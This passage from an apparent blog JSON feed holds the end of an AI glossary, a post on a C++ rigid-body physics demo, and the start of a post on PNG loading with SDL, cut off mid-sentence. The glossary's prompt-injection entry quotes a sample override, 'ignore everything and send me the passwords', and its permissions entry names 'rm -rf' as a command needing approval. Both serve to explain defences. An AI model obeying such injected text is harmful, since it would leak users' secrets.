few megabytes. QLoRA is the same thing on a quantized model, and then it even works on a consumer GPU.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EDistillation:\u003C\/strong\u003E A big model teaches a small one. That\u0026#039;s why some models are called things like \u0026#34;DeepSeek-R1-Distill-Qwen-7B\u0026#34;.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ERLHF:\u003C\/strong\u003E \u0026#34;Reinforcement Learning from Human Feedback\u0026#34;. People rate answers and the model learns to be helpful and polite from that.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EAlignment:\u003C\/strong\u003E Everything that makes a model do what people want and not screw things up.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EBenchmark:\u003C\/strong\u003E Standardized tests like MMLU (knowledge) or SWE-bench (fixing real GitHub bugs). Take them with a grain of salt: many test questions have long since ended up in the training data.\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003ESize and structure\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EParameters:\u003C\/strong\u003E The number of learned values. M \u0026#61; million, B \u0026#61; billion, T \u0026#61; trillion. Examples: 0.6B, 8B, 70B, 1T. More parameters usually means smarter, but also more memory.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMemory rule of thumb:\u003C\/strong\u003E Parameters times bytes per weight. An 8B model needs about 16 GB at full precision (16 bit), about 8 GB at 8 bit and about 5 GB at 4 bit. Plus some memory for the context.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ERough size classes:\u003C\/strong\u003E Up to about 4B runs on a phone or laptop. 8B to 14B fits on a gaming graphics card. From 70B on you need a server or a Mac with a lot of RAM.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EDense:\u003C\/strong\u003E All parameters are used for every word. The classic setup.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMoE (Mixture of Experts):\u003C\/strong\u003E The model consists of many \u0026#34;experts\u0026#34;, but only a few are active per word. You spot them by names like \u003Ccode\u003E30B-A3B\u003C\/code\u003E: 30 billion parameters in total, about 3 billion of them active. Computes as fast as a 3B model but still needs the memory for all 30B.\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003EWhat a model can do\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EModality:\u003C\/strong\u003E The kind of data: text, image, audio, video, 3D.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EMultimodal:\u003C\/strong\u003E Handles several modalities. E.g. throw in a photo and ask questions about it. These models are often called VLMs (Vision Language Models).\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003ETasks:\u003C\/strong\u003E What you filter models by. The most common ones:\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003EText generation: writing text, chatting\u003C\/li\u003E\n\u003Cli\u003EText-to-image \/ text-to-video: images or videos from a description\u003C\/li\u003E\n\u003Cli\u003EImage-text-to-text: image plus question in, text out\u003C\/li\u003E\n\u003Cli\u003EASR (Automatic Speech Recognition): speech to text, e.g. Whisper\u003C\/li\u003E\n\u003Cli\u003ETTS (Text-to-Speech): having text read aloud\u003C\/li\u003E\n\u003Cli\u003EOCR: reading text from images and scans\u003C\/li\u003E\n\u003Cli\u003ETranslation, summarization\u003C\/li\u003E\n\u003Cli\u003EAny-to-any: anything in, anything out\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EEmbeddings:\u003C\/strong\u003E Text is turned into a long list of numbers (a vector). Similar meaning gives similar numbers. The basis of every \u0026#34;search by meaning\u0026#34;.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EReranker:\u003C\/strong\u003E Gets a question and twenty text snippets that were found and sorts them by relevance.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EClassification:\u003C\/strong\u003E Putting something into a category, e.g. \u0026#34;spam or not\u0026#34;, \u0026#34;positive or negative\u0026#34;.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003Cli\u003E\n\u003Cp\u003E\u003Cstrong\u003EZero-shot:\u003C\/strong\u003E The model recognizes things it was never specifically trained on. You give it \u0026#34;cat, toaster, bicycle\u0026#34; and it sorts images accordingly.\u003C\/p\u003E\n\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003EQuantization and file formats\u003C\/h2\u003E\n\u003Cp\u003EThis was the most confusing part for me.\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EQuantization:\u003C\/strong\u003E Weights are stored with fewer bits. The model gets smaller and faster and loses a bit of quality. Levels: 16 bit (FP16 or BF16, usually the original), 8 bit (almost lossless), 4 bit (the usual compromise), 2 to 3 bit (noticeably worse).\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ESafetensors:\u003C\/strong\u003E The standard format for weights. \u0026#34;Safe\u0026#34; because loading it doesn\u0026#039;t run any foreign code. With the old pickle format (\u003Ccode\u003E.bin\u003C\/code\u003E) that was possible.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EGGUF:\u003C\/strong\u003E The format of llama.cpp, and so of Ollama and LM Studio. A single file that runs on CPU, GPU and Mac. What you usually want at home.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EGGUF names:\u003C\/strong\u003E The number after the Q is the bit count, K stands for the smarter K-quant method (important parts get more bits), S\/M\/L for small\/medium\/large. Q8_0 is almost like the original, Q6_K is very good, Q4_K_M is the sweet spot, Q2_K is for emergencies only. Variants starting with IQ (e.g. IQ4_XS) are newer methods that do a bit better at the same size.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMLX:\u003C\/strong\u003E Apple\u0026#039;s own framework for Macs with M chips. Models are then called something like \u0026#34;...-4bit\u0026#34; and often run faster on a Mac than GGUF.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EONNX:\u003C\/strong\u003E A neutral format that runs on many platforms, including browsers and phones.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EAWQ and GPTQ:\u003C\/strong\u003E Two methods for squeezing models down to 4 bit, for NVIDIA GPUs on servers. AWQ looks at which weights matter most and spares those.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EEXL2 \/ EXL3:\u003C\/strong\u003E Formats from ExLlama, very fast on NVIDIA cards.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003Ebitsandbytes:\u003C\/strong\u003E Quantizes a model right when loading it in Python. Handy for experimenting and for QLoRA.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EFP8 \/ FP4:\u003C\/strong\u003E Floating point numbers with only 8 or 4 bits, supported directly by the hardware. FP8 runs really well from NVIDIA Hopper (H100) on, only partially on RTX 40 cards. NVFP4 needs the Blackwell generation (RTX 50, B200).\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003ERunning models\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EInference:\u003C\/strong\u003E Using the model, i.e. generating answers. The opposite of training.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EVRAM:\u003C\/strong\u003E The memory on your graphics card. Bottleneck number one. If the model doesn\u0026#039;t fit, it gets very slow or won\u0026#039;t start at all.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EUnified memory:\u003C\/strong\u003E On a Mac, CPU and GPU share the same memory. That\u0026#039;s why a Mac with 64 GB of RAM runs models that would otherwise need several graphics cards.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ETokens per second:\u003C\/strong\u003E The speed. Below 5 feels sluggish, from about 20 on you can read along comfortably.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EOllama:\u003C\/strong\u003E The easiest way to run models locally. \u003Ccode\u003Eollama run qwen3\u003C\/code\u003E and you\u0026#039;re done.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ELM Studio \/ Jan:\u003C\/strong\u003E Desktop apps with a chat interface, load models with a click.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003Ellama.cpp:\u003C\/strong\u003E The engine Ollama and LM Studio are built on. For people who like setting their own flags.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EvLLM \/ SGLang:\u003C\/strong\u003E Server engines that handle many requests at once. For when a model has to serve multiple users.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EPyTorch, Transformers, Diffusers:\u003C\/strong\u003E The Python libraries almost everything is built and trained with.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EAPI:\u003C\/strong\u003E You rent the model instead of running it yourself. Request in, answer out, you pay per token.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EInference provider:\u003C\/strong\u003E Companies like Groq, Together AI or Cerebras that offer open models via API, often very fast.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EPricing:\u003C\/strong\u003E Given per million tokens, split into input (what you send) and output (what comes back). Output is usually a lot more expensive.\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003EUsing them\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003EToken:\u003C\/strong\u003E The word piece a model works with. In English, 1000 tokens are roughly 750 words. German needs more tokens per word, long words like \u0026#34;K\u00e4ltemittelkreislauf\u0026#34; get split into several pieces.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EContext window (context length):\u003C\/strong\u003E How much text the model \u0026#34;sees\u0026#34; at once, question plus history plus documents. Values range from 8K through 128K up to 1M tokens. Whatever falls out, the model has forgotten.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EPrompt:\u003C\/strong\u003E Your input, whatever you write to the model. The more precise, the better the answer.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ESystem prompt:\u003C\/strong\u003E The instruction that sits before the whole conversation and sets the behavior, e.g. \u0026#34;You are a helpful support agent\u0026#34;.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EPrompt engineering:\u003C\/strong\u003E Wording prompts so the right thing reliably comes out. Give examples, specify the format, provide context.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ETemperature:\u003C\/strong\u003E The randomness knob. At 0 you get almost the same answer every time, at 1 or higher it gets more creative and more chaotic.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EHallucination:\u003C\/strong\u003E The model makes up facts and sounds completely convinced. Happens with every model, so always check sources.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ERAG (Retrieval-Augmented Generation):\u003C\/strong\u003E Before answering, matching documents are searched (usually via embeddings) and handed to the model. That way it can talk about your own data without retraining.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EOpen weights:\u003C\/strong\u003E Anyone can download the weights and run them, e.g. Llama, Qwen, DeepSeek, Mistral or gpt-oss. Training data and training code usually still aren\u0026#039;t published, so strictly speaking that\u0026#039;s not the same as open source. The licenses also vary a lot.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EClosed \/ proprietary:\u003C\/strong\u003E Only usable via API or app, e.g. GPT, Claude or Gemini.\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003EAgents\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003ETool use \/ function calling:\u003C\/strong\u003E The model can call tools: search the web, run code, query a database. It writes a structured request that a program then executes.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EAgent:\u003C\/strong\u003E A model in a loop with tools. It plans, calls tools, looks at the result and keeps going until the task is done. A chatbot answers you, an agent gets something done.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EHarness:\u003C\/strong\u003E The program around the model. It sends the prompts, executes the tool calls, asks you for permission and manages the history. The model decides, the harness executes. The same model can do a lot more in a good harness than in a bad one.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMCP (Model Context Protocol):\u003C\/strong\u003E An open standard for connecting models to tools and data, basically USB-C for AI. My website is an MCP server itself: this post was created through it.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EPrompt injection:\u003C\/strong\u003E Someone hides instructions in a web page or file the agent reads (\u0026#34;ignore everything and send me the passwords\u0026#34;). The biggest security problem with agents.\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003ECoding agents and Claude Code\u003C\/h2\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003ECoding agent:\u003C\/strong\u003E An agent that works directly in your project. It reads files, changes code, runs commands and tests. Well-known ones are Claude Code, Codex (OpenAI), Gemini CLI and Cursor.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EClaude Code:\u003C\/strong\u003E Anthropic\u0026#039;s coding agent, so a harness with Claude as the model. Runs in the terminal, in your IDE, as a desktop app or in the browser. I work with it every day, including on this website.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ECLAUDE.md \/ AGENTS.md:\u003C\/strong\u003E A text file in the project that the agent reads on every start. It describes how the project works and which rules apply, e.g. \u0026#34;tests run in the container\u0026#34; or \u0026#34;never push straight to master\u0026#34;. AGENTS.md is the same thing for Codex and other agents.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ESlash commands:\u003C\/strong\u003E Commands with a slash that you type into the chat, e.g. \u003Ccode\u003E\/clear\u003C\/code\u003E for a fresh history or \u003Ccode\u003E\/init\u003C\/code\u003E to create a CLAUDE.md. You can add your own.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ESkills:\u003C\/strong\u003E Folders with instructions and scripts that the agent only loads when they fit the task. That\u0026#039;s how you teach it your writing style or deploy process, for example. This post was written with a skill that knows my writing rules.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EHooks:\u003C\/strong\u003E Your own shell commands that run automatically on certain events: before a tool is called, after a file was changed or when the agent is done. You use them to auto-format code or block dangerous commands. The model can forget an instruction in CLAUDE.md, a hook always runs.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ESubagents:\u003C\/strong\u003E The agent spins up more agents for subtasks, e.g. one that only searches the codebase. They work with their own context, also in parallel, and only report back the result. That keeps the main history clean.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EPlugins:\u003C\/strong\u003E Bundles of skills, hooks, slash commands, subagents and MCP servers that you install with one command. They\u0026#039;re distributed through marketplaces, which are basically Git repos.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EPlan mode:\u003C\/strong\u003E The agent may only read and write a plan at first. Nothing gets changed until you approve the plan.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EPermissions:\u003C\/strong\u003E Define what the agent may do without asking. \u003Ccode\u003Egit status\u003C\/code\u003E just like that, \u003Ccode\u003Erm -rf\u003C\/code\u003E better only after checking with you.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003ECompaction:\u003C\/strong\u003E When the context window fills up, the harness summarizes the history so far so work can continue. Small details sometimes get lost along the way.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EMemory:\u003C\/strong\u003E Notes the agent keeps across sessions, e.g. your preferences or lessons from earlier tasks. Without memory every session starts from zero.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EVibe coding:\u003C\/strong\u003E Programming by just telling the AI what you want and barely looking at the code yourself. Fun until something breaks.\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003EA model name, taken apart\u003C\/h2\u003E\n\u003Cp\u003EWith all of that you can now read something like this:\u003C\/p\u003E\n\u003Cp\u003E\u003Ccode\u003Eunsloth\/Qwen3-30B-A3B-Instruct-2507-GGUF\u003C\/code\u003E, file \u003Ccode\u003EQ4_K_M\u003C\/code\u003E\u003C\/p\u003E\n\u003Cul\u003E\n\u003Cli\u003E\u003Cstrong\u003Eunsloth:\u003C\/strong\u003E Who quantized and uploaded the file. The original comes from Qwen (Alibaba).\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EQwen3:\u003C\/strong\u003E Model family and generation.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003E30B-A3B:\u003C\/strong\u003E MoE, 30 billion parameters, about 3 billion active.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EInstruct:\u003C\/strong\u003E Chat version, not a base model.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003E2507:\u003C\/strong\u003E Released July 2025.\u003C\/li\u003E\n\u003Cli\u003E\u003Cstrong\u003EGGUF, Q4_K_M:\u003C\/strong\u003E For llama.cpp, Ollama and LM Studio, 4 bit with K-quants, medium variant. The file is just under 19 GB, the context window goes up to 262K tokens.\u003C\/li\u003E\n\u003C\/ul\u003E\n\u003Ch2\u003EWhere I\u0026#039;d start\u003C\/h2\u003E\n\u003Cp\u003EOn a Mac with an M chip: install LM Studio and load a 4-bit MLX model that fits in your RAM. On a PC with a gaming graphics card: Ollama or LM Studio with a GGUF in Q4_K_M, with 12 to 16 GB of VRAM something between 8B and 14B. If you have a server with NVIDIA cards, look at vLLM with AWQ or FP8. And if you just want to use a good model without installing anything, grab an API and pay per token.\u003C\/p\u003E\n","date_published":"2026-09-14T00:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/rigid-bodies","url":"https:\/\/malura.de\/en\/blog\/rigid-bodies","title":"Rigid bodies","content_html":"\u003Cp\u003EIn \u003Ca href=\u0022\/en\/blog\/update-loop\u0022\u003EUpdate loop\u003C\/a\u003E a square hits the edge and turns around. An \u003Ccode\u003Eif\u003C\/code\u003E is enough for that. As soon as two moving bodies meet, it isn\u0026#039;t: who gets how much speed, which way does the crate tip, and why does a stack stay up in the first place?\u003C\/p\u003E\n\u003Cp\u003EThe demo has circles and boxes, a floor, two side walls and a ramp. At the start a pyramid and a tower are already standing there, the rest is still falling in.\u003C\/p\u003E\n\u003Cp\u003E[[demo:rigid-bodies]]\u003C\/p\u003E\n\u003Cp\u003EA click on empty space spawns a body, dragging a body pulls it through the scene on a spring. The chips switch restitution, gravity and the contact points (orange), R clears the scene. The pyramid stands until the small circle lands on its tip. It arrives at around 10 m\/s, after that the pyramid is rubble.\u003C\/p\u003E\n\u003Cp\u003EUnderneath runs the loop from \u003Ca href=\u0022\/en\/blog\/fixed-timestep-drawing-with-interpolation\u0022\u003EFixed timestep\u003C\/a\u003E: the world takes steps of exactly 1\/120 second out of an accumulator, which at 60 fps means two steps per frame. The count is shown in the bar at the top right.\u003C\/p\u003E\n\u003Ch2\u003EWhere, how deep, which direction\u003C\/h2\u003E\n\u003Cp\u003EA contact consists of a normal pointing from body A to body B, a penetration depth and a point. For two circles that is cheap:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst Vec2 d \u0026#61; b.pos - a.pos;\nconst float dist \u0026#61; length(d);\nconst float radii \u0026#61; a.radius \u0026#43; b.radius;\nif (dist \u0026gt;\u0026#61; radii) return m;\nm.normal \u0026#61; dist \u0026gt; 1e-6F ? d * (1.0F \/ dist) : Vec2{0.0F, 1.0F};\nm.contacts[0].separation \u0026#61; dist - radii;\n\u003C\/pre\u003E\n\u003Cp\u003E\u003Ccode\u003Eseparation\u003C\/code\u003E is negative as long as the bodies overlap. Circle against box works in the box\u0026#039;s coordinate system: clamp the circle center to the box, the distance to that point is the distance to the box. If the center is inside the box, the circle leaves through the nearest face.\u003C\/p\u003E\n\u003Cp\u003EBox against box is the big one. By the separating axis theorem two convex shapes only overlap if they overlap on every edge normal, for two boxes that is four axes. The axis with the smallest overlap becomes the contact normal. For the points you take the edge of one box that points most against the normal and clip it against the side planes of the other box. What lies behind the reference face becomes a contact, so at most two points. This is the method of Box2D Lite, I followed it when building this. The boxes are real rotated rectangles, no simplified variant.\u003C\/p\u003E\n\u003Ch2\u003EThe impulse\u003C\/h2\u003E\n\u003Cp\u003EAt the contact point only one thing counts: how fast the two bodies approach each other along the normal. The relative velocity at the point includes the rotation: \u003Ccode\u003Evel \u0026#43; angVel x r\u003C\/code\u003E, with r as the offset from the center of mass to the contact. The impulse that brings it to the wanted value:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ej \u0026#61; -(1 \u0026#43; e) * dot(vRel, n) \/ (1\/mA \u0026#43; 1\/mB \u0026#43; cross(rA, n)^2 \/ IA \u0026#43; cross(rB, n)^2 \/ IB)\n\u003C\/pre\u003E\n\u003Cp\u003EOn top is the relative velocity, e is the restitution (0: the hit swallows everything, 1: fully elastic). On the bottom is the effective mass. Because the inertia I is part of it, a hit far from the center of mass pushes the crate away less than it spins it. In code that is the reciprocal, computed once per contact:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Ec.massNormal \u0026#61; 1.0F \/ (a.invMass \u0026#43; b.invMass \u0026#43; a.invInertia * rn1 * rn1 \u0026#43; b.invInertia * rn2 * rn2);\n\u003C\/pre\u003E\n\u003Cp\u003ETwo circles of equal mass with e \u0026#61; 1 swap their velocities this way, against a static wall (invMass 0) the velocity is mirrored. Both are tests in \u003Ccode\u003Etest.cpp\u003C\/code\u003E, calculated by hand.\u003C\/p\u003E\n\u003Cp\u003ETwo things I had to add. Restitution only applies above 1 m\/s impact speed, otherwise every crate at rest would bounce: gravity alone adds 0.08 m\/s per step. And the solver does not remove the overlap through the impulse alone. On top comes a small target speed, 20 percent of the depth beyond 1 cm of tolerance (\u003Ccode\u003Eslop\u003C\/code\u003E) per step, at most 4 m\/s. The slop lets bodies sink in a tiny bit so a contact doesn\u0026#039;t flip between touching and apart in every step.\u003C\/p\u003E\n\u003Ch2\u003EFriction\u003C\/h2\u003E\n\u003Cp\u003EThe same calculation once more, along the tangent (the normal turned by 90 degrees). It is capped by the normal impulse times the friction coefficient:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst float maxFriction \u0026#61; friction * c.pn;\nc.pt \u0026#61; std::clamp(oldPt \u0026#43; c.massTangent * -vt, -maxFriction, maxFriction);\n\u003C\/pre\u003E\n\u003Cp\u003EThe coefficient is fixed at 0.5. A box sliding over the floor at 3 m\/s brakes with \u03bc\u00b7g, about 4.9 m\/s\u00b2, and stops after a little over half a second.\u003C\/p\u003E\n\u003Ch2\u003EWhy stacks shake\u003C\/h2\u003E\n\u003Cp\u003EThe contacts depend on each other: the bottom crate carries everything above it, and every impulse at one contact disturbs its neighbors. The solver corrects the contacts one after another (sequential impulses) and repeats the round, eight times per step here. That approaches the right answer without ever reaching it. Warm starting helps a lot: the impulse a contact needed in the last step is applied again right at the start of the next one. A contact is recognized by its pair of bodies and a point within 10 cm.\u003C\/p\u003E\n\u003Cp\u003EI measured it with the demo\u0026#039;s code, 10 seconds of simulation, boxes of 1 x 1 m. The tower of five sinks 1 cm at the top with eight iterations and warm starting (that is the slop) and doesn\u0026#039;t move after that. Without warm starting it is 5 cm and it still twitches at 3 cm\/s. If I also drop the position correction, it falls apart. For the tower of ten, a single iteration brings it down, with two it stands but twitches at up to 6 cm\/s, from four on it is calm. Without warm starting the tower of ten topples even at eight iterations.\u003C\/p\u003E\n\u003Ch2\u003EWhat\u0026#039;s missing\u003C\/h2\u003E\n\u003Cp\u003ENothing is interpolated, the last step is what gets drawn. Bodies never sleep, and skipping resting bodies saves a lot in big scenes. There is no continuous collision detection, so very fast bodies can punch through thin walls. The collision search checks every pair with a bounding circle, which is enough for the demo\u0026#039;s 90 bodies at most.\u003C\/p\u003E\n\u003Cp\u003EThe code is in the repo under \u003Ca href=\u0022https:\/\/github.com\/maluramichael\/gamedev-snippets\/tree\/demo-rigid-bodies\/rigid-bodies\u0022\u003Erigid-bodies\u003C\/a\u003E. The project \u003Ca href=\u0022\/en\/projects\/gamedev-snippets\u0022\u003EGame Dev Snippets\u003C\/a\u003E collects all demos of the series.\u003C\/p\u003E\n","date_published":"2026-09-11T06:00:00+00:00"},{"id":"https:\/\/malura.de\/en\/blog\/loading-and-rendering-an-image","url":"https:\/\/malura.de\/en\/blog\/loading-and-rendering-an-image","title":"Loading and rendering an image","content_html":"\u003Cp\u003EA PNG file is a pile of bytes, and somehow a sprite appears on screen. With \u003Ccode\u003ESDL_LoadPNG_IO\u003C\/code\u003E it is one line, so you rarely look at what happens in between. Until an image shows up with swapped colors, or a pixel loop makes a mess of a surface. So I drew the whole way from the file to the pixel in four panels.\u003C\/p\u003E\n\u003Cp\u003E[[demo:image-loading]]\u003C\/p\u003E\n\u003Cp\u003EThe sprite is a 64x64 gem in RGBA with a soft glow around it, its alpha fading from 90 to 0. It sits in the program as a byte array (\u003Ccode\u003Easset.hpp\u003C\/code\u003E, made by a small Python script), so nothing is loaded from disk at run time. Panel 1 shows the bytes of the file, panel 2 the \u003Ccode\u003ESDL_Surface\u003C\/code\u003E, panel 3 the texture and panel 4 a CPU loop over the pixels. A click on one of the images picks a pixel, and panel 2 then shows its four bytes and the calculation for the offset.\u003C\/p\u003E\n\u003Ch2\u003EWhat is in the file\u003C\/h2\u003E\n\u003Cp\u003EEvery PNG starts with the same eight bytes: \u003Ccode\u003E89 50 4E 47 0D 0A 1A 0A\u003C\/code\u003E. The first byte has its top bit set, which catches transfers that strip it. Then come \u0026#34;PNG\u0026#34; and a CR, LF, Ctrl-Z, LF that gives away anyone who rewrote the line endings. After that it is chunks all the way: four bytes of length (big endian), four bytes of type, the data and four bytes of CRC over type and data.\u003C\/p\u003E\n\u003Cp\u003EMy file has three of them: IHDR (13 bytes with width, height, bit depth 8 and color type 6 for RGBA), IDAT (1952 bytes of compressed pixels) and IEND (empty, its CRC is always \u003Ccode\u003EAE426082\u003C\/code\u003E). 8 \u0026#43; 25 \u0026#43; 1964 \u0026#43; 12 are the 2009 bytes of the file. My chunk reader decodes nothing. The length comes from the file, so it is untrusted input and gets checked before it is believed:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Econst std::size_t left \u0026#61; file.size() - offset;\nif (left \u0026lt; 12 || readBe32(\u0026amp;file[offset]) \u0026gt; left - 12) {\n    out.error \u0026#61; Error::Truncated;\n\u003C\/pre\u003E\n\u003Cp\u003EThe test sets the length of the IDAT to \u003Ccode\u003E0xFF00000E\u003C\/code\u003E. Computed in 32 bits that would wrap around.\u003C\/p\u003E\n\u003Cp\u003EThe chips \u0026#34;bad signature\u0026#34;, \u0026#34;bad CRC\u0026#34; and \u0026#34;cut off\u0026#34; break the file. With the wrong signature SDL says \u0026#34;File is not a PNG file\u0026#34;, with the cut-off file \u0026#34;Corrupt PNG\u0026#34;, and neither gives you a surface. With the wrong CRC SDL loads the image without complaint, at least in 3.4.20, the version the demo uses. My chunk reader turns the row orange and names the CRC that should be there. I would not count on SDL to notice damage.\u003C\/p\u003E\n\u003Ch2\u003ESurface: format and byte order\u003C\/h2\u003E\n\u003Cp\u003EFrom here \u003Ccode\u003ESDL_LoadPNG_IO\u003C\/code\u003E does the work for you: inflate the zlib data, undo the row filters, store the pixels. What comes back is an \u003Ccode\u003ESDL_Surface\u003C\/code\u003E with the pixels in RAM:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003ESDL_IOStream* io \u0026#61; SDL_IOFromConstMem(app.file.data(), app.file.size());\napp.loaded \u0026#61; io !\u0026#61; nullptr ? SDL_LoadPNG_IO(io, true) : nullptr;  \/\/ true: SDL closes the stream\n\u003C\/pre\u003E\n\u003Cp\u003EPanel 2 reports \u003Ccode\u003ESDL_PIXELFORMAT_ABGR8888\u003C\/code\u003E and below it \u0026#34;memory order RGBA\u0026#34;. That looks backwards. SDL names packed formats after the 32-bit word, from the highest byte to the lowest. On little endian the lowest byte comes first in memory, so the bytes lie as R, G, B, A. The demo works this out from the masks of the format:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Einline int byteIndex(std::uint32_t mask, bool littleEndian) {\n    if (mask \u0026#61;\u0026#61; 0) return -1;\n    const int byte \u0026#61; std::countr_zero(mask) \/ 8;\n    return littleEndian ? byte : 3 - byte;\n}\n\u003C\/pre\u003E\n\u003Cp\u003EFor ARGB8888 on little endian that gives B, G, R, A. \u003Ccode\u003ESDL_PIXELFORMAT_RGBA32\u003C\/code\u003E is an alias that picks the matching format for the platform. The loop in panel 4 gets the four indices passed in and does not hardcode \u0026#34;red is byte 0\u0026#34;.\u003C\/p\u003E\n\u003Ch2\u003EThe pitch trap\u003C\/h2\u003E\n\u003Cp\u003EThe pitch is the distance between two row starts in bytes. For the loaded surface that is 256, exactly 64 * 4, which is why mixing it up with the row width never shows. Pitches with room behind each row turn up with aligned rows, with crops of larger images and with \u003Ccode\u003ESDL_LockTexture\u003C\/code\u003E, which hands you a pitch. The chip \u0026#34;pad rows\u0026#34; imitates that: it copies the pixels into a buffer with 64 bytes of room behind every row and puts a surface over it with \u003Ccode\u003ESDL_CreateSurfaceFrom\u003C\/code\u003E. Pitch 320, the room turns orange in the bar in panel 2, and pixel (32,36) sits somewhere else now:\u003C\/p\u003E\n\u003Cpre class=\u0022notranslate\u0022\u003Eassert(pixelOffset(3, 2, 280, 4) \u0026#61;\u0026#61; 2u * 280 \u0026#43; 12);\nassert(pixelOffset(3, 2, 280, 4) !\u0026#61; pixelOffset(3, 2, 256, 4));\n\u003C\/pre\u003E\n\u003Cp\u003EThe chip \u0026#34;width*4 bug\u0026#34; makes the loop jump to rows with \u003Ccode\u003Ey * 